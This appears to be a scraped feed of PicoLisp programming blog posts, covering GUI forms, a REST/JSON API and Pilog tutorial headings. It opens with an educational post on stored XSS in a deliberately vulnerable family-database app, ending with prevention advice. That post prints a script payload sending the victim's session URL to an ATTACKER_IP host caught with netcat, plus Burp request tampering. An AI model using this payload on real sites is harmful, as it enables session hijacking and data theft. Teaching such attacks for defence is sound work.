(<p> NIL (prin (get *ID 'job) ", born " (datStr(get *ID 'dat))))

The programmer wanted to create a subtitle that prints the occupation and birthday of the record. In rendered form, it looks like this:

Unfortunately, with this line he or she introduced a serious vulnerability. Let's see what kind of fun an attacker can have with this.

You can download the vulnerable program here. The database is expected in the folder family-vulnerable/, I recommend to download the family/ database and copy it in a new folder, so that the original one doesn't get corrupted.

Proof of Concept

Let's repeat the same steps as before and try to replace the "Occupation" field by some JavaScript. It works!

Differently to before, every user who is now accesing the database will see You've been hacked instead of the user record first. This alone can already be a problem, but there are even worse things that an attacker can do with that.

Corrupting the date field

But before we get into that, let's try the same with our date string. When we try the same steps as before, we see that we cannot change it - the submission is blocked with the notification "Bad date format".

Does that mean we're safe? Maybe not, because the check is only on front-end side. Let's try to catch the POST request and modify it before sending it to the server.

I have opened a virtual Kali Linux machine on my system to access the web app on the host system. Using Burp Suite as proxy, let's see what our app is sending. Let's modify the date and catch the request in our proxy.

Now we modify this value to <script>alert("You've been hacked!")</script> before we forward it.

However, when we try to send it, we get a "server connect failure". Why? Maybe the interpreter threw an error because this evaluation was not possible anymore:

(datStr(get *ID 'dat))

So we could try to inject "1926-04-23" ) "hello world". This should render to something like this:

(datStr "1926-04-23" ) "hello world"

Unfortunately (or rather luckily), this also fails, because date is transformed to a timestamp in the backend, which fails if we send anything except data strings. Similarly, comments, NIL and empty strings are rejected.

So I assume the date fields cannot be injected so easily since the date conversion is acting as data sanitizer.

Exploiting the `Occupation` vulnerability

Nevertheless, we still have the job property where we can execute our malicious scripts. For example, we could try to get the session ID of anybody who is opening the database. In order to get these, we need the application to connect back to us.

Instead of adding a simple alert, let's do this:

<script type="text/javascript">new Image().src="http://<ATTACKER_IP>:<ATTACKER_PORT>/?url="+window.location.href;</script>

Replace Attacker_IP by your own (local) IP.

Then we open a port on the attacking system (for example with netcat) As soon as the victim opens the corrupted database, the page tries to load a "picture" from the attacker's computer. Of course it fails because there is no such picture, but from the request, the attacker can get the complete session URL, and if available, also the session authentication cookies.

In other words, the attacker can now use the session of another user! This could be a big problem, right? Let's assume the administrator has logged in, and we can steal session URL and cookies (if available) from that person. This means that the attacker could execute commands with administrator rights, for example download the whole database, or even take over the control over the server!

What do we learn from that?

XSS attacks can be dangerous, especially in combination with a storage mechanism on the backend side. As you can see, the attacker doesn't even have to know anything about PicoLisp, and this kind of attack is also very easy to automate, so the probability is quite high that it will be discovered.

What can we do to prevent it?

Try to use standard framework components where possible. For example, the GUI elements of the PicoLisp GUI frameworks are safe to use since they remove special characters before displaying.
Always specify and filter the user input, don't commit anything unchecked into the database. Sanitize the data if possible.
Never directly evaluate user input data (for example: use ht:Prin instead of prin if the content is not known beforehand).
Consider to use scanning tools to double-check your application.

The good news is: XSS exploits are easy to exploit, but also quite easy to prevent. Always follow these two rules and your application should be safe!

Sources

https://owasp.org/www-community/attacks/xss/ Hacker icon: Those Icons from www.flaticon.com academy.hackthebox.com

Creating a User Interface for Data Modification, Part 2

Mia — Sun, 08 May 2022 15:38:58 +0000

In the last post, we created a HTML page that displayed the database records in a HTML form. However, all fields of this form were disabled and read-only. Now we will see how to enable the fields, and how to search in data and add these to the table.

Enabling the fields

The easiest way to enable all fields for an edit mode is by adding an editButton. The syntax is as easy as it can be:

(form NIL
   (<h2> NIL (<id> (: nm)))
   ( editButton T )

This renders a button that says EDIT while the fields are disabled. On pressing it, all input fields are enabled and it the button label changes to DONE. Let's test it:

Note also how the input field is suggesting data as soon as we type into the field, thanks to the +Obj prefix class.

Searching and choosing data

A very common requirement for a database is to search for data and choose items from the values we receive back.

The easiest form to implement this is via the predefined GUI element choDlg (for "choose dialog"). It takes one argument, the "destination" Dst, which is 0 for standalone GUI elements and any number for a GUI element within a chart.

Let's say we want to be able to search persons by their name. We can define a function called choPerson function like this:

(de choPerson (Dst)
   (choDlg Dst "Persons" '(nm +Person)) )

Now we can insert (choPerson Dst) anywhere we want to be able to replace a record by searching for a new one. Specifically, these would be the records for mother, father, partner and kids, as these are also +Person objects. So let's add choPerson and see what happens:

(<grid> 5
   ... 
   (choPerson 0)
   "Father"
   (gui '(+E/R +Obj +TextField) '(pa : home obj) '(nm +Man) 30)
   ...

Note we also have to increase the grid from 4 to 5 because the choPerson is a standalone element.

After this modification, we see small + buttons next to the input fields.

What happens if we press "Edit" and then the choPerson button? We get a dialog with a search field and a list of results. If we click on the name, we get forwarded to this record's page. If we click on the @ symbol, this record gets added to the currently open page, to the field which is connected to the choPerson button.

With clicking on cancel, the dialog closes.

Let's test it!

Adding the `Treeview` function

Now let's bring our current view on the data and our previous Treeview function together. Let's add a link to the treeview page in form of a button:

(gui '(+Rid +Button) "Tree View"
   '(url "!treeReport" (: home obj)) ) ) ) ) )

Due to the +Rid prefix class, the button is always enabled, even if the rest of the form is not. The button is labelled preview and is calling the function treeReport with the current object as argument.

When we click it, we get re-directed to our previously designed treeReport page. T

As last step, let's re-define our links in the tree report so that clicking on a name directs us back to that person's record page. We can use again the url> method of the object for this by using the mkUrl function:

(<href> (: nm) (mkUrl @))

This creates a relative link to our function person with the person's object as *ID argument. However, this could throw an error if the object is NIL. So we need to check it first using the try function, which takes a method and an object as arguments, and optionally further arguments (here 1 for the tab - i. e. we want our current tab to change).

(when (try 'url> This 1)

With this, we can jump between record and treeview as we wish:

You can find the source code of this example here.

Sources

Creating a User Interface for Data Modification, Part 1

Mia — Fri, 06 May 2022 08:29:30 +0000

Of course we don't only want to be able to display the data, but also modify it. In this post, we will use the PicoLisp GUI to display the data and enable the data modification in a HTML form sheet.

In the first step, we will simply build a page that allows us to display the data and jump between the records:

Set-up of the file

The structure of the program builds up on the previous post, which is used as a basis. We will use this file and extend it.

Let's create a new function called person and add it to the allowed script. Also let's start the server with it. The rest stays the same. We call the new file family-edit.l.

### Modify / add following lines:

(allowed ("css/")
   "@lib.css" "!treeReport" "!person")
...

(de person ())
...

(de go ()
   (rollback)
   (server 8080 "!person") )

The function person shall be the function where we can display all relevant data about a record (i. e. a person) at one glance. We want to display the data as a form field, and be able to toggle between read and edit mode using an "Edit" button.

The first thing we need is to create the standard HTML function including the session start-up. On this page, we will not use the bootstrap CSS classes because we will use many pre-defined PicoLisp gui functions that don't work well with Bootstrap.

(de person () 
   (app)
   (action
      (html 0 "Person" "@lib.css" NIL
         (form NIL
]

The bracket ] closes all open parentheses. This can be useful in the development.

Like in the previous examples, we can start it with $ pil family-edit.l -family~main -go + and when we point the browser to http://localhost:8080, we should see an empty tab with title "Person".

Getting the database item

How does the form "know" which database item we want to display? This is controlled by calling the <id> function somewhere within the form. <id> binds the output to the global variable *ID. So we need to do two things:

Adding <id> to our form,
Appending an *ID parameter to the URL.

For example, we could call <id> in the title of our form. ( <id> (: nm )) will set *ID to the current object and display its name.

(form NIL
   (<h2> NIL (<id> (: nm)))

If we point the browser now to http://localhost:8080/?*ID=-A1, we see this:

The `+E/R` prefix class

Now that we have specified the current object, we can display its data in a form. In order to access the database object, we will use the +E/R and +Obj prefix classes.

Read here for an introduction to the PicoLisp Form GUI and here for more on Prefix classes.

Just like we can add styles using +Styles and bind variables to a GUI element using +Val, we can also connect a database entity using the +E/R class. The syntax is pretty straightforward:

(gui '(+E/R +TextField) '(nm : home obj) 40 "Name")

This creates a textfield which is connected to the nm ("name") property of the home obj. The home obj is the object that belongs to the current form, i. e. the record that is specified via the global variable *ID.

Analogously, we can get the birth and death date like this:

"born" (gui '(+E/R +DateField) '(dat : home obj) 10)
"died" (gui '(+E/R +DateField) '(fin : home obj) 10)

The `+ClassField` form element

The +ClassField form element can be used to display and change the class of an object. For example, this example renders a drop-down menu which shows either "Male" or "Female" as current value:

(gui '(+ClassField) '(: home obj) '(("Male" +Man) ("Female" +Woman))) )

The `+Obj` Prefix class

The +Obj prefix class is used to hold a specific object. This way, a DB object becomes a first class GUI item just like the primitives string, number etc. In addition, +Obj supplies suggestions from the database, using dbHint.

What does that mean? Let's take the person's partner field as an example. The person's partner is also an object, connected by the property mate. Since we use +Obj, we can now access the record's name like this:

(gui '(+E/R +Obj +TextField) '(mate : home obj) '(nm +Person) 30) )

+Obj also offers two nice additional features:

Suggestions if we want to change the partner's name (we'll see that later in the edit mode!),
A pencil that executes a predefined function if we click on it. If no function is specified, the url> method is taken.

Let's say we want to see the partner's record overview when we click on the pencil. In other words, we want to change the *ID in the URL to the partner's record.

Let's define a method url> that does just this in our +Person class model:

### DB ###
(class +Person +Entity)
(rel nm (+Need +Sn +Idx +String))      # Name
...
(rel txt (+String))                    # Info

(dm url> (Tab)
   (list "!person" '*ID This) )

url> takes a (Tab) argument specifying which tab should be opened (which is obviously only interesting in an application with several tabs - not so much in our single page app).

You could see the output in the animated GIF above: when we click on the pen, the page jumps to display this record.

Creating a table using `+Chart` and `<table>`

Like already shown in the To-Do App example, we can use the +Chart in combination with <table> to display data in a grid together with some predefined action buttons.

First, we define the data used in the chart, which is the kids property of the current object. +Chart expects a numeric argument as number of columns. Additionally, we can call two functions: The first one gets called when the chart is filled with data; the second one gets called when the data is read.

(gui '(+E/R +Chart) '(kids : home obj) 7
   '((This) (list NIL This (: dat) (: pa) (: ma)))
   cadr )

What does that mean?

'((This) (list NIL This (: dat) (: pa) (: ma))) creates a list of lists out of the (kids : home obj data, i. e. exactly one value per column and row.
cadr is equivalent to the second item of a list, which corresponds to the actual child object.

It might be a bit confusing, but it should clarify if you check the actual table output and its function.

After we defined the input value, we can define the table. The <table> function takes the argument "attributes", "title", "head" and "program". Let's set attributes and title to NIL and define the head as:

(<table> NIL NIL
   '(NIL (NIL "Children") (NIL "born") (NIL "Father") (NIL "Mother"))

Then we create our input fields just like specified above:

(do 6
   (<row> NIL 
      (choPerson 1)
      (gui 2 '(+Obj +TextField) '(nm +Person) 20)
      (gui 3 '(+Lock +DateField) 10)
      (gui 4 '(+ObjView +TextField) '(: nm) 20)
      (gui 5 '(+ObjView +TextField) '(: nm) 20)
      (gui 6 '(+DelRowButton))
      (gui 7 '(+BubbleButton)) ) )
   (<row> NIL NIL (scroll 6 T)) )

Please ignore choPerson for the moment, we will come back to that in the next post.

Output table finished!

Let's apply a little bit of formatting. PicoLisp has a built-in function <grid> that formats in rows and columns similar to a table. Each four "elements" will be placed in one row, and the width is determined by the longest item.

(<grid> 4
   "Occupation" (gui '(+E/R +TextField) '(job : home obj) 20)
   "Father" (gui '(+E/R +Obj +TextField) '(pa : home obj) '(nm +Man) 30)
   "born" (gui '(+E/R +DateField) '(dat : home obj) 10)
   "Mother" (gui '(+E/R +Obj +TextField) '(ma : home obj) '(nm +Woman) 30)
   ... )

Setting a default starting point

Lastly, let's define a default starting point for our application. This means that a default record should be loaded when we point the browser to http://localhost:8080.

How can we do that? First thing, we need to set the val of our *DB global variable, for example to record {A12} (Queen Elizabeth). In the REPL:

$ family-edit.l -family~main +
family: (set *DB '{A12})
-> {A12}
family: (show *DB)
{1} {A12}
   +Woman {3}
   +Person {2}
   +Man {4}
-> {1}

Next, let's load this value as default *ID at session startup. The session should also start immediately at loading the page.

(when (app)
   (redirect (baseHRef) *SesId *Url "?*ID=" (ht:Fmt (val *DB))) )

Now we can also change our html title dynamically to the person' name:

html 0 (; *ID nm) "@lib.css" NIL

With this, we get directly to Queen Elizabeth's entry when we visit http://localhost:8080.

With this we have all data of the record in a clear and user-friendly output format. However, the input fields are all disabled and we cannot save any changes.

Let's see how to change this in the next post.

You can find the source code up to this point here.

Sources

How to create a RESTful API to the PicoLisp Database

Mia — Mon, 02 May 2022 14:25:55 +0000

In the previous posts we have created a database and generated content that can be displayed in the browser. The format we chose was human-readable but not so suitable for automatic processing.

Therefore we will now create a REST-API that enables other services to access the data in JSON format.

What is a REST-API?

REST stands for Representational State Transfer, which means that it fulfills the following properties:

client-server model,
stateless protocol (no session information needed),
cacheability,
layered system,
uniform interface.

In simple words, what we want is to create an interface to our PicoLisp database that can be accessed from outside. The client doesn't have to speak PicoLisp, and the output format should be a standard machine-readable format such as JSON.

Let's create an API that any client can access via a simple GET-request. Similarly to the previous example, the record is specified via the URL.

Creating JSON output in PicoLisp

JSON (Java*Script **Object **N*otation) is a very popular, language-independent data format that can be used to exchange data between different services.

It supports a number of data types:

Numbers,
Strings, delimited with double-quotes and backslash as escape symbol,
Boolean (true or false)
Arrays using square bracket notation with comma-separated elements,
Objects as a collection of name-value pairs, where the names are also strings,
null as empty value.

PicoLisp comes with a library to create json-output. It can be found in the library files under json.l. There are four functions:

checkJson (X Item),
parseJson (Str),
readJson (),
printJson (Item).

For our purpose, we will only need the printJson (Item) function. Its functionality is very simple: it takes a list of cons-pairs and prints them in the JSON format.

Let's open the REPL ($ pil +) and try it at an example:

: (setq A 
   '( ( name . "Smith" ) 
   ( age . 25)
   ( address 
      ( street . "21 2nd Street") 
      ( city . "New York") 
      ( state .  "NY" ) 
      ( zip  .  10021 ) ) ) )

We have a nested list of cons-pairs, i. e. a list of cells where the "key" is found in the CAR and the "value" in the CDR. The keys are internal symbols (that's why it's name and not "name").

We can execute the printJson function on this:

: (printJson A)
{"name": "Smith", "age": 25, "address": {"street": "21 2nd Street", "city": "New York", "state": "NY", "zip": 10021}}

The function prints out a valid JSON string.

Creating a cons-pair list

In order to be able to use printJson, we need to convert the database output into a structured cons-pair list. This will require some manual formatting. Up to now, we only queried specific attributes for a record, like ( : nm ). However, we can also get a list of items using the getl function.

Let's test it in the REPL. We can start the database without the server using any of the previous scripts, for example this one:

$ pil family.l -family~main +
family:

It opens us a prompt directly in the family namespace. Let's get the item {A1} in list format:

family: (getl '{A1})
-> ((({A2} {A4}) . kids) ("Margaret Rose" . nm) ({A3} . mate) ({A11} . ma) ({A33} . pa) (705091 . dat) ("Countess of Snowdon" . job))

As you can see, it's a cons-pair list, but with some differences to our desired format:

Key and value are reversed. instead of ( "Margaret Rose" . nm ) we need ( nm . "Margaret Rose" ).
The symbol names at mate, ma, pa and so on should be replaced by the person's names.
The date 705091 should be formatted.

Let's go through it step by step.

Changing CAR and CDR in the cons pair

How can we convert ( "Margaret Rose" . nm ) to ( nm . "Margaret Rose" )? Well, this is quite easy: We can build a new cons-pair using the cons function, which takes two arguments: CAR and CDR.

: (cons 1 2)
-> (1 . 2)

We can apply this to all items in the list using mapcar and an anonymous function:

(mapcar
   '((X)
      (cons (cdr X) (car X)) )
   (getl This )

Let's test it in the REPL:

family: (mapcar '((X) (cons (cdr X) (car X))) (getl '{A1}))
-> ((kids {A2} {A4}) (nm . "Margaret Rose") (mate . {A3}) (ma . {A11}) (pa . {A33}) (dat . 705091) (job . "Countess of Snowdon"))

Formatting the list

To get a better overview, let's write down each cons-pair of the getl output:

(({A2} {A4}) . kids)
("Margaret Rose" . nm)
({A3} . mate)
({A11} . ma)
({A33} . pa)
(705091 . dat)
("Countess of Snowdon" . job)

Looking at the car, we have four cases: It is either a list of +Person objects, a number representing a date, a Person object, or a string. Let's treat either of these cases separately. We can switch between different "cases" using the cond function:

(cond ('any1 . prg1) ('any2 . prg2) ..) -> any

Multi-way conditional: If any of the anyN conditions evaluates to non-NIL, prgN is executed and the result returned. Otherwise (all conditions evaluate to NIL), NIL is returned.

Case 1: The CAR is a number.

If the value (let's call it V) is a number, return the formatted value. We can test whether it's a number with the num? function.

(cond
   ((num? V) (datStr V))

Case 2: The CAR is an +Person object.

To check this, we can use the isa function, which takes a class and an object. If yes, we want to get the name property of this object. We can get it with the ; function:

(cond
   ((num? V) (datStr V))
   ((isa '+Person V) (; V nm))

** Case 3: The CAR is a list of +Person objects.**

Now this one is a little bit tricky. Let's say the CAR is a list. In this case, we want to loop over every list item and return the name. We can do this with mapcar and an anonymous function which takes an object and returns it name property:

(mapcar '((This) (: nm)) V)

But how can we check if V is a list? For this purpose, we can use the pair function which checks if the argument is a cons pair and returns it if true. Technically, a "normal" list is also a cons pair, while numbers, strings and and objects (i. e. all the other cases) are not. So we can expand our cond condition list with the following line:

(cond
   ((num? V) (datStr V))
   ((isa '+Person V) (; V nm))
   ((pair V) (mapcar '((This) (: nm)) V) )

** Case 4: The CAR is a string.**

Lastly, if the CAR is a string or any other case we didn't consider, we do nothing with it:

(cond
   ((num? V) (datStr V))
   ((isa '+Person V) (; V nm))
   ((pair V) (mapcar '((This) (: nm)) V) )
   (T V) )

Bringing it together

Now we combine everything in one function:

get the list with (getl This)
apply mapcar to build a new cons pair
before we set the car, we modify it depending on the result of cond.

(mapcar 
   '((X)
      (cons (cdr X) 
         (let V (car X)
            (cond
               ((pair V)
               (mapcar '((This) (: dat)) V) )
               ((num? V) (datStr V))  # Can only be date
               ((isa '+Person V) (; V nm))
               (T V) ) ) ) )
   (getl This) )

Convert to JSON and return it!

Now that we have our list, all we have to do is converting it and modify our HTTP-Header so that it returns Content-Type: application/json instead of text/html. Instead of our standard html function, we call the function httpHead with the arguments "application/json" for the content-type and 0 for the cache-control. Let's test it in the REPL:

family: (httpHead "application/json" 0)

HTTP/1.0 200 OK
Server: PicoLisp
Date: Sun, 17 Oct 2021 14:44:31 GMT
Cache-Control: max-age=0
Cache-Control: private, no-store, no-cache
Content-Type: application/json

The function returns a complete header which informs the browser that the received data format is JSON.

Now we have to send it. In the HTTP protocol, there are two possibilities to upload data: Either the content-length is communicated in the header (which is difficult, i. e. expensive in a dynamically created page), or the upload is sent in chunks. We can create chunked upload and send the content via the ht:Out function from the htlibrary.

   (httpHead "application/json" 0)
   (ht:Out *Chunked
      (printJson
         ...

As final step, we wrap it in a function called person.json. The .json is not a requirement, but it makes clear that the output of this format is a json-format. Accordingly, we modify the server and the allowed-function.

(allowed NIL
   "@lib.css" "!person.json" )

...

(de person.json (This)
   (httpHead "application/json" 0)
   (ht:Out *Chunked
      (printJson
         ...
   ...

Then we can start the program with

$ pil family-rest.l -family~main -go +

If we now point the server towards http://localhost:8080/?-A67, we see the following JSON-formatted output:

This output can be read by any application that calls a GET request to the URL.

That's it! The complete source code to this example can be found here.

DEV Community: Mia

Learning Pilog - 7: Cuts and Negations

What is a "Cut"?

Negation as a failure

Sources

Learning Pilog - 6: More Lists

The append predicate

The reversepredicate

Using an accumulator

Example: Palindrome Checker

Sources

Learning Pilog - 5: Lists

What is a list in Pilog?

The member predicate

Example: A small Translator

Sources

Learning Pilog - 4: Recursion

A recursive example

The order matters

How NOT To Do It

Example: Travel plans

Sources

Learning Pilog -3: Unification and Proof Search

What is Unification?

Example: Crossword Puzzle

Sources

Learning Pilog - 2: Facts, Rules, Queries

The Knowledge Base

Facts

Rules

Creating the knowledge base

Running queries

Working with variables

Sources

Learning Pilog - 1: A Short Introduction to Prolog

A brief history of PROLOG

How much Prolog is needed for Pilog?

Installing Pilog and Prolog

Sources

Logical Programming in PicoLisp: Learning Pilog!

What is Pilog?

A quick overview over programming paradigms

The Declarative Programming Paradigm

Logical Programming

Next steps

Sources

How to hack the PicoLisp Database (and how to prevent it!) - An Introduction to XSS Attacks

What are Cross-Site Scripting attacks?

An example

Stored XSS Attacks

Proof of Concept

Corrupting the date field

Exploiting the Occupation vulnerability

What do we learn from that?

Sources

Creating a User Interface for Data Modification, Part 2

Enabling the fields

Searching and choosing data

Adding the Treeview function

Sources

Creating a User Interface for Data Modification, Part 1

Set-up of the file

Getting the database item

The +E/R prefix class

The +ClassField form element

The +Obj Prefix class

Creating a table using +Chart and <table>

Output table finished!

Setting a default starting point

Sources

How to create a RESTful API to the PicoLisp Database

What is a REST-API?

Creating JSON output in PicoLisp

Creating a cons-pair list

Changing CAR and CDR in the cons pair

Formatting the list

Bringing it together

Convert to JSON and return it!

Sources

The `append` predicate

The `reverse`predicate

The `member` predicate

Exploiting the `Occupation` vulnerability

Adding the `Treeview` function

The `+E/R` prefix class

The `+ClassField` form element

The `+Obj` Prefix class

Creating a table using `+Chart` and `<table>`